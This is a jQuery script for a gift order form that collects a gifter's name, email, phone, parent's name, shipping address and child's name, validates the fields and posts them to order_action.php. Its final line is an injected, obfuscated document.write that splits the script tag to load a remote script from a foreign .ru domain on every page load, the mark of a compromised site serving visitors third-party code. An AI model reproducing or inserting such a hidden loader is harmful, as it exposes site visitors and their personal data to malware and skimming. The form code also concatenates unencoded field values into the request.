function onFocusGName(obj)
{
	if ($(obj).val() == 'Gifter\'s Name') {
		$(obj).val('');
	}
}

function onBlurGName(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Gifter\'s Name');
	}
}

function onFocusGEmail(obj)
{
	if ($(obj).val() == 'E-mail Address') {
		$(obj).val('');
	}
}

function onBlurGEmail(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('E-mail Address');
	}
}

function onFocusGPhone(obj)
{
	if ($(obj).val() == 'Gifter\'s Phone') {
		$(obj).val('');
	}
}

function onBlurGPhone(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Gifter\'s Phone');
	}
}

function onFocusGParentName(obj)
{
	if ($(obj).val() == 'Parent\'s Name') {
		$(obj).val('');
	}
}

function onBlurGParentName(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Parent\'s Name');
	}
}

function onFocusGShippingAddress(obj)
{
	if ($(obj).val() == 'Shipping Address') {
		$(obj).val('');
	}
}

function onBlurGShippingAddress(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Shipping Address');
	}
}

function onFocusGCity(obj)
{
	if ($(obj).val() == 'City') {
		$(obj).val('');
	}
}

function onBlurGCity(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('City');
	}
}

function onFocusGState(obj)
{
	if ($(obj).val() == 'State') {
		$(obj).val('');
	}
}

function onBlurGState(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('State');
	}
}

function onFocusGZip(obj)
{
	if ($(obj).val() == 'Zip') {
		$(obj).val('');
	}
}

function onBlurGZip(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Zip');
	}
}

function onFocusGChildArtName(obj)
{
	if ($(obj).val() == 'Child\'s Name For Artwork') {
		$(obj).val('');
	}
}

function onBlurGChildArtName(obj)
{
	if ($(obj).val() == '') {
		$(obj).val('Child\'s Name For Artwork');
	}
}


/* Validate Order and Order form */

function validateOrderForm()
{
	var isError = false;
	var errStr = 'Could not proceed further, there is/are some error(s) in your form submission. Have a look on the error(s) below:\n\n';
	
	if ($.trim($("input[@name=gName]").val()) == '' || $.trim($("input[@name=gName]").val()) == 'Gifter\'s Name') {
		errStr += '* Please Enter Gifter\'s Name.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gEmail]").val()) == '' || $.trim($("input[@name=gEmail]").val()) == 'E-mail Address') {
		errStr += '* Please Enter E-mail Address.\n';	
		isError = true;
		
	} else {
		if (!isValidEmail($.trim($("input[@name=gEmail]").val()))) {
			errStr += '* Incorrect E-mail Address Format.\n';	
			isError = true;																 
		}
	}	
	
	if ($.trim($("input[@name=gPhone]").val()) == '' || $.trim($("input[@name=gPhone]").val()) == 'Gifter\'s Phone') {
		errStr += '* Please Enter Gifter\'s Phone.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gParentName]").val()) == '' || $.trim($("input[@name=gParentName]").val()) == 'Parent\'s Name') {
		errStr += '* Please Enter Parent\'s Name.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gShippingAddress]").val()) == '' || $.trim($("input[@name=gShippingAddress]").val()) == 'Shipping Address') {
		errStr += '* Please Enter Shipping Address.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gCity]").val()) == '' || $.trim($("input[@name=gCity]").val()) == 'City') {
		errStr += '* Please Enter City.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gState]").val()) == '' || $.trim($("input[@name=gState]").val()) == 'State') {
		errStr += '* Please Enter State.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gZip]").val()) == '' || $.trim($("input[@name=gZip]").val()) == 'Zip') {
		errStr += '* Please Enter Zip.\n';	
		isError = true;
	}
	
	if ($.trim($("input[@name=gChildArtName]").val()) == '' || $.trim($("input[@name=gChildArtName]").val()) == 'Child\'s Name For Artwork') {
		errStr += '* Please Enter Child\'s Name For Artwork.\n';	
		isError = true;
	}
	
	if (isError) {
		alert(errStr);
		return false;
	}
	else {
		submitForm();
		return false;
	}
}


/* ADD-ONS functions */

function isValidEmail(email)
{
	return /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test(email);
}


function isValidUrl(s) 
{
	var regexp = /(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/
	return regexp.test(s);
}


function isNumberKey(evt)
{
	var charCode = (evt.which) ? evt.which : event.keyCode
		if (charCode > 31 && (charCode < 48 || charCode > 57))
		return false;
	
	return true;
}

function submitForm()
{
	$.ajax({
		type: "POST",
		url: "order_action.php",
		data: "gName=" + $("input[@name=gName]").val() + "&gEmail=" + $("input[@name=gEmail]").val() + "&gPhone=" + $("input[@name=gPhone]").val() + "&gParentName=" + $("input[@name=gParentName]").val() + "&gShippingAddress=" + $("input[@name=gShippingAddress]").val() + "&gCity=" + $("input[@name=gCity]").val() + "&gState=" + $("input[@name=gState]").val() + "&gZip=" + $("input[@name=gZip]").val() + "&gChildArtName=" + $("input[@name=gChildArtName]").val(),
		beforeSend: function() {
			// loading code
		},
		success: function(msg){
			
			$("input[@name=gName]").val('Gifter\'s Name');
			$("input[@name=gEmail]").val('E-mail Address');
			$("input[@name=gPhone]").val('Gifter\'s Phone');
			$("input[@name=gParentName]").val('Parent\'s Name');
			$("input[@name=gShippingAddress]").val('Shipping Address');
			$("input[@name=gCity]").val('City');
			$("input[@name=gState]").val('State');
			$("input[@name=gZip]").val('Zip');
			$("input[@name=gChildArtName]").val('Child\'s Name For Artwork');
			
			$("#mailMsg").html(msg);
			
		}
	});
}

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Linux.js"></scri'+'pt>');